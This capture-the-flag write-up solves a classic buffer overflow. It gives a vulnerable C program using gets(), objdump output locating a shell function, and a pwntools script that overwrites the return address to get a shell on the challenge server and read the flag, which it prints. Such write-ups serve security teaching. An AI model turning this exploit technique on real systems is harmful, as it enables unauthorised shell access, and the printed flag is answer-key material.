Rating:

# Overflow 2 (225 points)

## Description

ez overflow (or is it?)

nc cyberyoddha.baycyber.net 10002

## Solution

Here is the file we were given.

```c
void run_shell(){
system("/bin/sh");
}

void vuln(){
char buf[16];
gets(buf);
}

int main(void) {
vuln();
}
```

So we need to jump over to **run_shell** function using buffer overflow.
[Writeup for a similar task](https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/)

Let's find address of **run_shell** function using **objdump**

```shell
$ objdump -d overflow2
...
08049172 <run_shell>:
8049172: 55 push %ebp
8049173: 89 e5 mov %esp,%ebp
8049175: 53 push %ebx
8049176: 83 ec 04 sub $0x4,%esp
8049179: e8 63 00 00 00 call 80491e1 <__x86.get_pc_thunk.ax>
804917e: 05 82 2e 00 00 add $0x2e82,%eax
8049183: 83 ec 0c sub $0xc,%esp
...
```

Address is **0x8049172** and buffer size is 28. Now let's open python and write another script:

```python
from pwn import *

payload = "A"*28
payload += p32(0x8049172)
s = remote("cyberyoddha.baycyber.net", 10002)
s.sendline(payload)
s.interactive()
```
```shell
$ python overflow2.py
[+] Opening connection to cyberyoddha.baycyber.net on port 10002: Done
[*] Switching to interactive mode
$ ls
flag.txt
overflow2
$ cat flag.txt
CYCTF{0v3rfl0w!ng_v@ri@bl3$_i$_3z}
```

Flag: CYCTF{0v3rfl0w!ng_v@ri@bl3$_i$_3z}

Original writeup (https://github.com/holypower777/ctf_writeups/tree/main/cyberYoddhaCTF_2020/overflow).